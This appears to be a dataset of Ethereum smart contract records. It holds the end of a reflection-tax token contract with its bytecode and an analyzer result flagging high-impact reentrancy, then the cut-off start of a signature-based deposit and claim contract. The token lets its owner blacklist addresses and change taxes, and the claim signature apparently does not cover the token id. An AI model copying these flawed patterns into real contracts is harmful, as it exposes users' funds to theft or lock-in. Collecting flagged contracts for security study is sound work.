_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxHoldAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 10_000 * 10**9;
_maxHoldAmount = 20_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount,uint256 maxHoldAmount) external onlyOwner() {
if (maxTxAmount > 20_000 * 10**9) {
_maxTxAmount = maxTxAmount;
_maxHoldAmount = maxHoldAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063733ec069116100ab578063b515566a1161006f578063b515566a1461034d578063c3c8cd801461036d578063c9567bf914610382578063dbe8272c14610397578063dc1052e2146103b7578063dd62ed3e146103d757600080fd5b8063733ec0691461029e5780638da5cb5b146102be57806395d89b41146102e65780639e78fb4f14610318578063a9059cbb1461032d57600080fd5b8063313ce567116100f2578063313ce5671461021857806346df33b7146102345780636fc3eaec1461025457806370a0823114610269578063715018a61461028957600080fd5b806306fdde031461013a578063095ea7b31461018257806318160ddd146101b257806323b872dd146101d6578063273123b7146101f657600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600d81526c524156454e434c415720494e5560981b60208201525b604051610179919061192f565b60405180910390f35b34801561018e57600080fd5b506101a261019d366004611794565b61041d565b6040519015158152602001610179565b3480156101be57600080fd5b5066038d7ea4c680005b604051908152602001610179565b3480156101e257600080fd5b506101a26101f1366004611753565b610434565b34801561020257600080fd5b506102166102113660046116e0565b61049d565b005b34801561022457600080fd5b5060405160098152602001610179565b34801561024057600080fd5b5061021661024f36600461188c565b6104f1565b34801561026057600080fd5b50610216610539565b34801561027557600080fd5b506101c86102843660046116e0565b610570565b34801561029557600080fd5b50610216610592565b3480156102aa57600080fd5b506102166102b93660046118df565b610606565b3480156102ca57600080fd5b506000546040516001600160a01b039091168152602001610179565b3480156102f257600080fd5b50604080518082019091526009815268524156454e434c415760b81b602082015261016c565b34801561032457600080fd5b5061021661064d565b34801561033957600080fd5b506101a2610348366004611794565b61088c565b34801561035957600080fd5b506102166103683660046117c0565b610899565b34801561037957600080fd5b5061021661092b565b34801561038e57600080fd5b5061021661096b565b3480156103a357600080fd5b506102166103b23660046118c6565b610b39565b3480156103c357600080fd5b506102166103d23660046118c6565b610b71565b3480156103e357600080fd5b506101c86103f236600461171a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061042a338484610ba9565b5060015b92915050565b6000610441848484610ccd565b610493843361048e85604051806060016040528060288152602001611b1b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fec565b610ba9565b5060019392505050565b6000546001600160a01b031633146104d05760405162461bcd60e51b81526004016104c790611984565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461051b5760405162461bcd60e51b81526004016104c790611984565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105635760405162461bcd60e51b81526004016104c790611984565b4761056d81611026565b50565b6001600160a01b03811660009081526002602052604081205461042e90611060565b6000546001600160a01b031633146105bc5760405162461bcd60e51b81526004016104c790611984565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106305760405162461bcd60e51b81526004016104c790611984565b6512309ce5400082111561064957601082905560118190555b5050565b6000546001600160a01b031633146106775760405162461bcd60e51b81526004016104c790611984565b600f54600160a01b900460ff16156106d15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c7565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561073157600080fd5b505afa158015610745573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076991906116fd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b157600080fd5b505afa1580156107c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e991906116fd565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083157600080fd5b505af1158015610845573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086991906116fd565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b600061042a338484610ccd565b6000546001600160a01b031633146108c35760405162461bcd60e51b81526004016104c790611984565b60005b8151811015610649576001600660008484815181106108e7576108e7611acb565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092381611a9a565b9150506108c6565b6000546001600160a01b031633146109555760405162461bcd60e51b81526004016104c790611984565b600061096030610570565b905061056d816110e4565b6000546001600160a01b031633146109955760405162461bcd60e51b81526004016104c790611984565b600e546109b49030906001600160a01b031666038d7ea4c68000610ba9565b600e546001600160a01b031663f305d71947306109d081610570565b6000806109e56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4857600080fd5b505af1158015610a5c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a819190611901565b5050600f80546509184e72a0006010556512309ce5400060115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b0157600080fd5b505af1158015610b15573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056d91906118a9565b6000546001600160a01b03163314610b635760405162461bcd60e51b81526004016104c790611984565b600f81101561056d57600b55565b6000546001600160a01b03163314610b9b5760405162461bcd60e51b81526004016104c790611984565b600f81101561056d57600c55565b6001600160a01b038316610c0b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c7565b6001600160a01b038216610c6c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d315760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c7565b6001600160a01b038216610d935760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c7565b60008111610df55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c7565b6001600160a01b03831660009081526006602052604090205460ff1615610e1b57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5d57506001600160a01b03821660009081526005602052604090205460ff16155b15610fdc576000600955600c54600a55600f546001600160a01b038481169116148015610e985750600e546001600160a01b03838116911614155b8015610ebd57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ed25750600f54600160b81b900460ff165b15610f0e57601054811115610ee657600080fd5b6000610ef183610570565b601154909150610f01838361126d565b1115610f0c57600080fd5b505b600f546001600160a01b038381169116148015610f395750600e546001600160a01b03848116911614155b8015610f5e57506001600160a01b03831660009081526005602052604090205460ff16155b15610f6f576000600955600b54600a555b6000610f7a30610570565b600f54909150600160a81b900460ff16158015610fa55750600f546001600160a01b03858116911614155b8015610fba5750600f54600160b01b900460ff165b15610fda57610fc8816110e4565b478015610fd857610fd847611026565b505b505b610fe78383836112cc565b505050565b600081848411156110105760405162461bcd60e51b81526004016104c7919061192f565b50600061101d8486611a83565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610649573d6000803e3d6000fd5b60006007548211156110c75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c7565b60006110d16112d7565b90506110dd83826112fa565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061112c5761112c611acb565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561118057600080fd5b505afa158015611194573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b891906116fd565b816001815181106111cb576111cb611acb565b6001600160a01b039283166020918202929092010152600e546111f19130911684610ba9565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061122a9085906000908690309042906004016119b9565b600060405180830381600087803b15801561124457600080fd5b505af1158015611258573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061127a8385611a2a565b9050838110156110dd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c7565b610fe783838361133c565b60008060006112e4611433565b90925090506112f382826112fa565b9250505090565b60006110dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611471565b60008060008060008061134e8761149f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061138090876114fc565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113af908661126d565b6001600160a01b0389166000908152600260205260409020556113d18161153e565b6113db8483611588565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161142091815260200190565b60405180910390a3505050505050505050565b600754600090819066038d7ea4c6800061144d82826112fa565b8210156114685750506007549266038d7ea4c6800092509050565b90939092509050565b600081836114925760405162461bcd60e51b81526004016104c7919061192f565b50600061101d8486611a42565b60008060008060008060008060006114bc8a600954600a546115ac565b92509250925060006114cc6112d7565b905060008060006114df8e878787611601565b919e509c509a509598509396509194505050505091939550919395565b60006110dd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fec565b60006115486112d7565b905060006115568383611651565b30600090815260026020526040902054909150611573908261126d565b30600090815260026020526040902055505050565b60075461159590836114fc565b6007556008546115a5908261126d565b6008555050565b60008080806115c660646115c08989611651565b906112fa565b905060006115d960646115c08a89611651565b905060006115f1826115eb8b866114fc565b906114fc565b9992985090965090945050505050565b60008080806116108886611651565b9050600061161e8887611651565b9050600061162c8888611651565b9050600061163e826115eb86866114fc565b939b939a50919850919650505050505050565b6000826116605750600061042e565b600061166c8385611a64565b9050826116798583611a42565b146110dd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c7565b80356116db81611af7565b919050565b6000602082840312156116f257600080fd5b81356110dd81611af7565b60006020828403121561170f57600080fd5b81516110dd81611af7565b6000806040838503121561172d57600080fd5b823561173881611af7565b9150602083013561174881611af7565b809150509250929050565b60008060006060848603121561176857600080fd5b833561177381611af7565b9250602084013561178381611af7565b929592945050506040919091013590565b600080604083850312156117a757600080fd5b82356117b281611af7565b946020939093013593505050565b600060208083850312156117d357600080fd5b823567ffffffffffffffff808211156117eb57600080fd5b818501915085601f8301126117ff57600080fd5b81358181111561181157611811611ae1565b8060051b604051601f19603f8301168101818110858211171561183657611836611ae1565b604052828152858101935084860182860187018a101561185557600080fd5b600095505b8386101561187f5761186b816116d0565b85526001959095019493860193860161185a565b5098975050505050505050565b60006020828403121561189e57600080fd5b81356110dd81611b0c565b6000602082840312156118bb57600080fd5b81516110dd81611b0c565b6000602082840312156118d857600080fd5b5035919050565b600080604083850312156118f257600080fd5b50508035926020909101359150565b60008060006060848603121561191657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561195c57858101830151858201604001528201611940565b8181111561196e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a095784516001600160a01b0316835293830193918301916001016119e4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a3d57611a3d611ab5565b500190565b600082611a5f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a7e57611a7e611ab5565b500290565b600082821015611a9557611a95611ab5565b500390565b6000600019821415611aae57611aae611ab5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461056d57600080fd5b801515811461056d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202c6290cfbe1b5e73ea385fe15cd074bcafed2bfedacf3940baefb4bef28c2d1b64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,088 |
0xC07c0AB16e2BB657f4FC5De682786F5534f71215
|
/**
*Submitted for verification at Etherscan.io on 2021-10-01
*/
pragma solidity 0.8.0;
// SPDX-License-Identifier: Unlicensed
pragma abicoder v2;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECDSA: invalid signature 'v' value");
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
contract BikdataETH is Ownable {
struct userDetails {
uint amount;
address token;
}
using SafeMath for uint256;
// ECDSA Address
using ECDSA for address;
address public signer;
address[] public tokenList;
bool public lockStatus;
event SetSigner(address indexed user,address indexed signer);
event Deposit(address indexed user,uint amount,address token,uint time);
event Claim(address indexed user,address token,uint amount,uint time);
event Failsafe(address indexed user,uint amount,address token,uint time);
mapping(bytes32 => bool)public msgHash;
mapping(address => bool)public isClaim;
mapping(address => userDetails)public users;
mapping(uint => address)public tokenViewById;
constructor (address _signer) {
signer = _signer;
}
/**
* @dev Throws if lockStatus is true
*/
modifier isLock() {
require(lockStatus == false, "Bikdata: Contract Locked");
_;
}
function addToken(address[] memory _token) public onlyOwner{
for (uint i = 0; i < _token.length; i++) {
tokenList.push(_token[i]);
tokenViewById[i+1] = _token[i];
}
}
function deposit(uint _tokeId,uint _amount)public isLock {
require (tokenViewById[_tokeId] != address(0) && _amount > 0,"Incorrect params");
IERC20(tokenViewById[_tokeId]).transferFrom(msg.sender,address(this),_amount);
users[msg.sender].token = tokenViewById[_tokeId];
users[msg.sender].amount = _amount;
emit Deposit(msg.sender,_amount,tokenViewById[_tokeId],block.timestamp);
}
function claim(address payable _user,uint _tokeId,uint amount,bytes calldata signature,uint _time) public isLock {
require (tokenViewById[_tokeId] != address(0) && amount > 0,"Incorrect params");
//messageHash can be used only once
bytes32 messageHash = message(_user,amount,_time);
require(!msgHash[messageHash], "claim: signature duplicate");
//Verifes signature
address src = verifySignature(messageHash, signature);
require(signer == src, " claim: unauthorized");
IERC20(tokenViewById[_tokeId]).transfer(_user,amount);
msgHash[messageHash] = true;
emit Claim(_user,tokenViewById[_tokeId],amount,block.timestamp);
}
/**
* @dev Ethereum Signed Message, created from `hash`
* @dev Returns the address that signed a hashed message (`hash`) with `signature`.
*/
function verifySignature(bytes32 _messageHash, bytes memory _signature) public pure returns (address signatureAddress)
{
bytes32 hash = ECDSA.toEthSignedMessageHash(_messageHash);
signatureAddress = ECDSA.recover(hash, _signature);
}
/**
* @dev Returns hash for given data
*/
function message(address _receiver ,uint amount,uint _time)
public pure returns(bytes32 messageHash)
{
messageHash = keccak256(abi.encodePacked(_receiver,amount,_time));
}
// updaate signer address
function setSigner(address _signer)public onlyOwner{
signer = _signer;
emit SetSigner(msg.sender, _signer);
}
function failsafe(uint _tokeId,address user,uint amount)public onlyOwner returns(bool){
require(user != address(0) && tokenViewById[_tokeId] != address(0), "Invalid Address");
